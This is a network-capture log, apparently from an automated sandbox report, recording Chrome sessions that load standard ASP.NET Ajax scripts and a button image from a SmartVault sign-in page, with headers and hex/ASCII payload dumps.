2024-04-11 20:35:41 UTC	1635	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/x-javascript Content-Length: 366811 Connection: close Cache-Control: public, no-cache="Set-Cookie", max-age=31536000 Expires: Fri, 11 Apr 2025 20:35:41 GMT Last-Modified: Tue, 08 Jan 2013 00:00:00 GMT Vary: User-Agent Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	1280	IN	Data Raw: 2f 2a 20 53 54 41 52 54 20 4d 69 63 72 6f 73 6f 66 74 41 6a 61 78 2e 6a 73 20 2a 2f 0d 0a 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 2f 2f 20 4d 69 63 72 6f 73 6f 66 74 41 6a 61 78 2e 6a 73 0d 0a 46 75 6e 63 74 69 6f 6e 2e 5f 5f 74 79 70 65 4e 61 6d Data Ascii: /* START MicrosoftAjax.js *///----------------------------------------------------------// Copyright (C) Microsoft Corporation. All rights reserved.//----------------------------------------------------------// MicrosoftAjax.jsFunction.__typeNam
2024-04-11 20:35:41 UTC	16384	IN	Data Raw: 28 61 3d 30 3b 61 3c 62 3b 61 2b 2b 29 69 66 28 64 5b 61 5d 2e 70 61 72 61 6d 65 74 65 72 41 72 72 61 79 29 7b 63 3d 66 61 6c 73 65 3b 62 72 65 61 6b 7d 7d 69 66 28 63 29 7b 76 61 72 20 68 3d 45 72 72 6f 72 2e 70 61 72 61 6d 65 74 65 72 43 6f 75 6e 74 28 29 3b 68 2e 70 6f 70 53 74 61 63 6b 46 72 61 6d 65 28 29 3b 72 65 74 75 72 6e 20 68 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 46 75 6e 63 74 69 6f 6e 2e 5f 76 61 6c 69 64 61 74 65 50 61 72 61 6d 65 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 61 2c 68 29 7b 76 61 72 20 62 2c 67 3d 61 2e 74 79 70 65 2c 6c 3d 21 21 61 2e 69 6e 74 65 67 65 72 2c 6b 3d 21 21 61 2e 64 6f 6d 45 6c 65 6d 65 6e 74 2c 6d 3d 21 21 61 2e 6d 61 79 42 65 4e 75 6c 6c 3b 62 3d 46 75 6e 63 74 69 6f 6e 2e 5f 76 61 6c 69 64 61 74 65 50 61 Data Ascii: (a=0;a<b;a++)if(d[a].parameterArray){c=false;break}}if(c){var h=Error.parameterCount();h.popStackFrame();return h}return null};Function._validateParameter=function(c,a,h){var b,g=a.type,l=!!a.integer,k=!!a.domElement,m=!!a.mayBeNull;b=Function._validatePa
2024-04-11 20:35:41 UTC	8232	IN	Data Raw: 29 7b 68 3d 61 5b 67 5d 3b 69 66 28 21 46 75 6e 63 74 69 6f 6e 2e 69 73 49 6e 73 74 61 6e 63 65 4f 66 54 79 70 65 28 68 29 29 74 68 69 73 2e 5f 74 72 61 63 65 44 75 6d 70 28 68 2c 67 2c 66 2c 62 2c 64 29 7d 7d 7d 41 72 72 61 79 2e 72 65 6d 6f 76 65 28 64 2c 61 29 7d 7d 7d 3b 53 79 73 2e 5f 44 65 62 75 67 2e 72 65 67 69 73 74 65 72 43 6c 61 73 73 28 22 53 79 73 2e 5f 44 65 62 75 67 22 29 3b 53 79 73 2e 44 65 62 75 67 3d 6e 65 77 20 53 79 73 2e 5f 44 65 62 75 67 3b 53 79 73 2e 44 65 62 75 67 2e 69 73 44 65 62 75 67 3d 66 61 6c 73 65 3b 66 75 6e 63 74 69 6f 6e 20 53 79 73 24 45 6e 75 6d 24 70 61 72 73 65 28 63 2c 65 29 7b 76 61 72 20 61 2c 62 2c 69 3b 69 66 28 65 29 7b 61 3d 74 68 69 73 2e 5f 5f 6c 6f 77 65 72 43 61 73 65 56 61 6c 75 65 73 3b 69 66 28 21 61 Data Ascii: ){h=a[g];if(!Function.isInstanceOfType(h))this._traceDump(h,g,f,b,d)}}}Array.remove(d,a)}}};Sys._Debug.registerClass("Sys._Debug");Sys.Debug=new Sys._Debug;Sys.Debug.isDebug=false;function Sys$Enum$parse(c,e){var a,b,i;if(e){a=this.__lowerCaseValues;if(!a
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 78 74 28 29 29 28 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 53 79 73 2e 4f 62 73 65 72 76 65 72 2e 5f 63 72 65 61 74 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 7b 65 76 65 6e 74 73 3a 6e 65 77 20 53 79 73 2e 45 76 65 6e 74 48 61 6e 64 6c 65 72 4c 69 73 74 7d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 3b 44 61 74 65 2e 5f 61 70 70 65 6e 64 50 72 65 4f 72 50 6f 73 74 4d 61 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 62 29 7b 76 61 72 20 64 3d 30 2c 61 3d 66 61 6c 73 65 3b 66 6f 72 28 76 61 72 20 63 3d 30 2c 67 3d 65 2e 6c 65 6e 67 74 68 3b 63 3c 67 3b 63 2b 2b 29 7b 76 61 72 20 66 3d 65 2e 63 68 61 72 41 74 28 63 29 3b 73 77 69 74 63 68 28 66 29 7b 63 61 73 65 20 22 27 22 3a Data Ascii: xt())();return null};Sys.Observer._createContext=function(){var a={events:new Sys.EventHandlerList};return function(){return a}};Date._appendPreOrPostMatch=function(e,b){var d=0,a=false;for(var c=0,g=e.length;c<g;c++){var f=e.charAt(c);switch(f){case "'":
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 4d 27 2d 27 64 64 27 54 27 48 48 27 3a 27 6d 6d 27 3a 27 73 73 22 2c 22 54 69 6d 65 53 65 70 61 72 61 74 6f 72 22 3a 22 3a 22 2c 22 55 6e 69 76 65 72 73 61 6c 53 6f 72 74 61 62 6c 65 44 61 74 65 54 69 6d 65 50 61 74 74 65 72 6e 22 3a 22 79 79 79 79 27 2d 27 4d 4d 27 2d 27 64 64 20 48 48 27 3a 27 6d 6d 27 3a 27 73 73 27 5a 27 22 2c 22 59 65 61 72 4d 6f 6e 74 68 50 61 74 74 65 72 6e 22 3a 22 79 79 79 79 20 4d 4d 4d 4d 22 2c 22 41 62 62 72 65 76 69 61 74 65 64 44 61 79 4e 61 6d 65 73 22 3a 5b 22 53 75 6e 22 2c 22 4d 6f 6e 22 2c 22 54 75 65 22 2c 22 57 65 64 22 2c 22 54 68 75 22 2c 22 46 72 69 22 2c 22 53 61 74 22 5d 2c 22 53 68 6f 72 74 65 73 74 44 61 79 4e 61 6d 65 73 22 3a 5b 22 53 75 22 2c 22 4d 6f 22 2c 22 54 75 22 2c 22 57 65 22 2c 22 54 68 22 2c 22 46 Data Ascii: M'-'dd'T'HH':'mm':'ss","TimeSeparator":":","UniversalSortableDateTimePattern":"yyyy'-'MM'-'dd HH':'mm':'ss'Z'","YearMonthPattern":"yyyy MMMM","AbbreviatedDayNames":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"ShortestDayNames":["Su","Mo","Tu","We","Th","F
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 44 6f 6d 45 76 65 6e 74 2e 5f 63 6c 65 61 72 48 61 6e 64 6c 65 72 73 28 74 68 69 73 2c 74 72 75 65 29 3b 76 61 72 20 62 3d 74 68 69 73 2e 5f 63 68 61 69 6e 44 69 73 70 6f 73 65 2c 61 3d 74 79 70 65 6f 66 20 62 3b 69 66 28 61 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 74 68 69 73 2e 64 69 73 70 6f 73 65 3d 62 3b 74 68 69 73 2e 5f 63 68 61 69 6e 44 69 73 70 6f 73 65 3d 6e 75 6c 6c 3b 69 66 28 61 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 69 73 2e 64 69 73 70 6f 73 65 28 29 7d 7d 3b 76 61 72 20 24 72 65 6d 6f 76 65 48 61 6e 64 6c 65 72 3d 53 79 73 2e 55 49 2e 44 6f 6d 45 76 65 6e 74 2e 72 65 6d 6f 76 65 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 2c 63 29 7b 53 79 73 2e 55 49 2e 44 6f 6d 45 76 65 6e 74 2e 5f 72 65 6d 6f 76 65 48 61 Data Ascii: DomEvent._clearHandlers(this,true);var b=this._chainDispose,a=typeof b;if(a!=="undefined"){this.dispose=b;this._chainDispose=null;if(a==="function")this.dispose()}};var $removeHandler=Sys.UI.DomEvent.removeHandler=function(b,a,c){Sys.UI.DomEvent._removeHa
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 79 73 2e 55 49 2e 44 6f 6d 45 6c 65 6d 65 6e 74 2e 67 65 74 56 69 73 69 62 69 6c 69 74 79 4d 6f 64 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 7d 2c 73 65 74 5f 76 69 73 69 62 69 6c 69 74 79 4d 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 53 79 73 2e 55 49 2e 44 6f 6d 45 6c 65 6d 65 6e 74 2e 73 65 74 56 69 73 69 62 69 6c 69 74 79 4d 6f 64 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 61 29 7d 2c 67 65 74 5f 76 69 73 69 62 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 79 73 2e 55 49 2e 44 6f 6d 45 6c 65 6d 65 6e 74 2e 67 65 74 56 69 73 69 62 6c 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 7d 2c 73 65 74 5f 76 69 73 69 62 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: :function(){return Sys.UI.DomElement.getVisibilityMode(this._element)},set_visibilityMode:function(a){Sys.UI.DomElement.setVisibilityMode(this._element,a)},get_visible:function(){return Sys.UI.DomElement.getVisible(this._element)},set_visible:function(a){
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 4f 66 28 22 3a 2f 2f 22 29 2c 67 3d 61 2e 69 6e 64 65 78 4f 66 28 22 2f 22 2c 65 2b 33 29 3b 72 65 74 75 72 6e 20 61 2e 73 75 62 73 74 72 28 30 2c 67 29 2b 62 7d 65 6c 73 65 7b 76 61 72 20 66 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 3b 72 65 74 75 72 6e 20 61 2e 73 75 62 73 74 72 28 30 2c 66 2b 31 29 2b 62 7d 7d 3b 53 79 73 2e 4e 65 74 2e 57 65 62 52 65 71 75 65 73 74 2e 5f 63 72 65 61 74 65 51 75 65 72 79 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 62 2c 66 29 7b 62 3d 62 7c 7c 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 3b 76 61 72 20 68 3d 30 2c 65 2c 67 2c 64 2c 61 3d 6e 65 77 20 53 79 73 2e 53 74 72 69 6e 67 42 75 69 6c 64 65 72 3b 69 66 28 63 29 66 6f 72 28 64 20 69 6e 20 63 29 7b 65 3d 63 5b 64 5d 3b 69 66 28 74 Data Ascii: Of("://"),g=a.indexOf("/",e+3);return a.substr(0,g)+b}else{var f=a.lastIndexOf("/");return a.substr(0,f+1)+b}};Sys.Net.WebRequest._createQueryString=function(c,b,f){b=b\|\|encodeURIComponent;var h=0,e,g,d,a=new Sys.StringBuilder;if(c)for(d in c){e=c[d];if(t
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 53 79 73 2e 5f 53 63 72 69 70 74 4c 6f 61 64 65 72 54 61 73 6b 2e 5f 63 6c 65 61 72 53 63 72 69 70 74 28 61 29 3b 74 68 69 73 2e 5f 6c 6f 61 64 53 63 72 69 70 74 73 49 6e 74 65 72 6e 61 6c 28 29 7d 7d 65 6c 73 65 7b 74 68 69 73 2e 5f 73 74 6f 70 53 65 73 73 69 6f 6e 28 29 3b 76 61 72 20 65 3d 63 2e 61 6c 6c 53 63 72 69 70 74 73 4c 6f 61 64 65 64 43 61 6c 6c 62 61 63 6b 3b 69 66 28 65 29 65 28 74 68 69 73 29 3b 74 68 69 73 2e 5f 6e 65 78 74 53 65 73 73 69 6f 6e 28 29 7d 7d 2c 5f 6e 65 78 74 53 65 73 73 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 5f 73 65 73 73 69 6f 6e 73 2e 6c 65 6e Data Ascii: nt.getElementsByTagName("head")[0].appendChild(a);Sys._ScriptLoaderTask._clearScript(a);this._loadScriptsInternal()}}else{this._stopSession();var e=c.allScriptsLoadedCallback;if(e)e(this);this._nextSession()}},_nextSession:function(){if(this._sessions.len
2024-04-11 20:35:42 UTC	16384	IN	Data Raw: 46 69 72 65 44 65 66 61 75 6c 74 42 75 74 74 6f 6e 3b 69 66 28 74 68 69 73 2e 5f 6f 72 69 67 69 6e 61 6c 46 69 72 65 44 65 66 61 75 6c 74 42 75 74 74 6f 6e 29 77 69 6e 64 6f 77 2e 57 65 62 46 6f 72 6d 5f 46 69 72 65 44 65 66 61 75 6c 74 42 75 74 74 6f 6e 3d 46 75 6e 63 74 69 6f 6e 2e 63 72 65 61 74 65 44 65 6c 65 67 61 74 65 28 74 68 69 73 2c 74 68 69 73 2e 5f 66 69 72 65 44 65 66 61 75 6c 74 42 75 74 74 6f 6e 29 3b 74 68 69 73 2e 5f 6f 72 69 67 69 6e 61 6c 44 6f 43 61 6c 6c 62 61 63 6b 3d 77 69 6e 64 6f 77 2e 57 65 62 46 6f 72 6d 5f 44 6f 43 61 6c 6c 62 61 63 6b 3b 69 66 28 74 68 69 73 2e 5f 6f 72 69 67 69 6e 61 6c 44 6f 43 61 6c 6c 62 61 63 6b 29 77 69 6e 64 6f 77 2e 57 65 62 46 6f 72 6d 5f 44 6f 43 61 6c 6c 62 61 63 6b 3d 46 75 6e 63 74 69 6f 6e 2e 63 Data Ascii: FireDefaultButton;if(this._originalFireDefaultButton)window.WebForm_FireDefaultButton=Function.createDelegate(this,this._fireDefaultButton);this._originalDoCallback=window.WebForm_DoCallback;if(this._originalDoCallback)window.WebForm_DoCallback=Function.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50097	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	628	OUT	GET /secure/secure.asmx/js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:42 UTC	797	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/x-javascript; charset=utf-8 Content-Length: 6606 Connection: close Cache-Control: public Expires: Sun, 15 Jan 2023 17:18:02 GMT Last-Modified: Mon, 15 Jan 2024 17:18:02 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:42 UTC	3566	IN	Data Raw: 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 27 53 56 61 75 6c 74 2e 53 65 72 76 65 72 2e 57 65 62 50 6f 72 74 61 6c 2e 55 49 2e 73 65 63 75 72 65 27 29 3b 0d 0a 53 56 61 75 6c 74 2e 53 65 72 76 65 72 2e 57 65 62 50 6f 72 74 61 6c 2e 55 49 2e 73 65 63 75 72 65 2e 73 65 63 75 72 65 3d 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 53 56 61 75 6c 74 2e 53 65 72 76 65 72 2e 57 65 62 50 6f 72 74 61 6c 2e 55 49 2e 73 65 63 75 72 65 2e 73 65 63 75 72 65 2e 69 6e 69 74 69 61 6c 69 7a 65 42 61 73 65 28 74 68 69 73 29 3b 0d 0a 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 20 3d 20 30 3b 0d 0a 74 68 69 73 2e 5f 75 73 65 72 43 6f 6e 74 65 78 74 20 3d 20 6e 75 6c 6c 3b 0d 0a 74 68 69 73 2e 5f 73 75 63 63 65 65 64 65 64 20 3d 20 6e 75 6c 6c 3b 0d 0a 74 68 Data Ascii: Type.registerNamespace('SVault.Server.WebPortal.UI.secure');SVault.Server.WebPortal.UI.secure.secure=function() {SVault.Server.WebPortal.UI.secure.secure.initializeBase(this);this._timeout = 0;this._userContext = null;this._succeeded = null;th
2024-04-11 20:35:42 UTC	3040	IN	Data Raw: 56 61 75 6c 74 2e 53 65 72 76 65 72 2e 57 65 62 50 6f 72 74 61 6c 2e 55 49 2e 73 65 63 75 72 65 2e 73 65 63 75 72 65 2e 5f 73 74 61 74 69 63 49 6e 73 74 61 6e 63 65 2e 73 65 74 5f 64 65 66 61 75 6c 74 46 61 69 6c 65 64 43 61 6c 6c 62 61 63 6b 28 76 61 6c 75 65 29 3b 20 7d 0d 0a 53 56 61 75 6c 74 2e 53 65 72 76 65 72 2e 57 65 62 50 6f 72 74 61 6c 2e 55 49 2e 73 65 63 75 72 65 2e 73 65 63 75 72 65 2e 67 65 74 5f 64 65 66 61 75 6c 74 46 61 69 6c 65 64 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 72 65 74 75 72 6e 20 53 56 61 75 6c 74 2e 53 65 72 76 65 72 2e 57 65 62 50 6f 72 74 61 6c 2e 55 49 2e 73 65 63 75 72 65 2e 73 65 63 75 72 65 2e 5f 73 74 61 74 69 63 49 6e 73 74 61 6e 63 65 2e 67 65 74 5f 64 65 66 61 75 6c 74 46 61 69 6c 65 Data Ascii: Vault.Server.WebPortal.UI.secure.secure._staticInstance.set_defaultFailedCallback(value); }SVault.Server.WebPortal.UI.secure.secure.get_defaultFailedCallback = function() { return SVault.Server.WebPortal.UI.secure.secure._staticInstance.get_defaultFaile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	50099	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	738	OUT	GET /WebResource.axd?d=KlHDGLQzBshnNRXOquF_oBJGH1L_g2brdbY9dKkzLAYE8M9OCvc8pLWgLxniroDmM_4WJji2lIH465AuI5lpMBGestg1&t=636480331623431523 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:42 UTC	1597	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:42 GMT Content-Type: application/x-javascript Content-Length: 3005 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:42 GMT Last-Modified: Tue, 05 Dec 2017 01:12:42 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:42 UTC	1318	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 57 65 62 46 6f 72 6d 5f 46 69 6e 64 46 69 72 73 74 46 6f 63 75 73 61 62 6c 65 43 68 69 6c 64 28 63 6f 6e 74 72 6f 6c 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 21 63 6f 6e 74 72 6f 6c 20 7c 7c 20 21 28 63 6f 6e 74 72 6f 6c 2e 74 61 67 4e 61 6d 65 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 74 61 67 4e 61 6d 65 20 3d 20 63 6f 6e 74 72 6f 6c 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 61 67 4e 61 6d 65 20 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 63 68 69 6c 64 72 65 6e Data Ascii: function WebForm_FindFirstFocusableChild(control) { if (!control \|\| !(control.tagName)) { return null; } var tagName = control.tagName.toLowerCase(); if (tagName == "undefined") { return null; } var children
2024-04-11 20:35:42 UTC	1687	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 63 75 73 65 64 2e 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 28 66 61 6c 73 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 5f 5f 73 6d 61 72 74 4e 61 76 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 5f 5f 73 6d 61 72 74 4e 61 76 2e 61 65 20 3d 20 66 6f 63 75 73 65 64 2e 69 64 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 63 61 74 63 68 20 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 57 65 62 46 6f 72 6d 5f 43 61 6e 46 6f 63 75 73 28 65 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 Data Ascii: focused.scrollIntoView(false); } if (window.__smartNav) { window.__smartNav.ae = focused.id; } } catch (e) { } }}function WebForm_CanFocus(element) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50098	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	706	OUT	GET /artwork/server/graphics/btn-sign-in.png HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:42 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:42 GMT Content-Type: image/png Content-Length: 1208 Connection: close Last-Modified: Thu, 04 Apr 2019 13:57:18 GMT Accept-Ranges: bytes ETag: "073d750eeead41:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
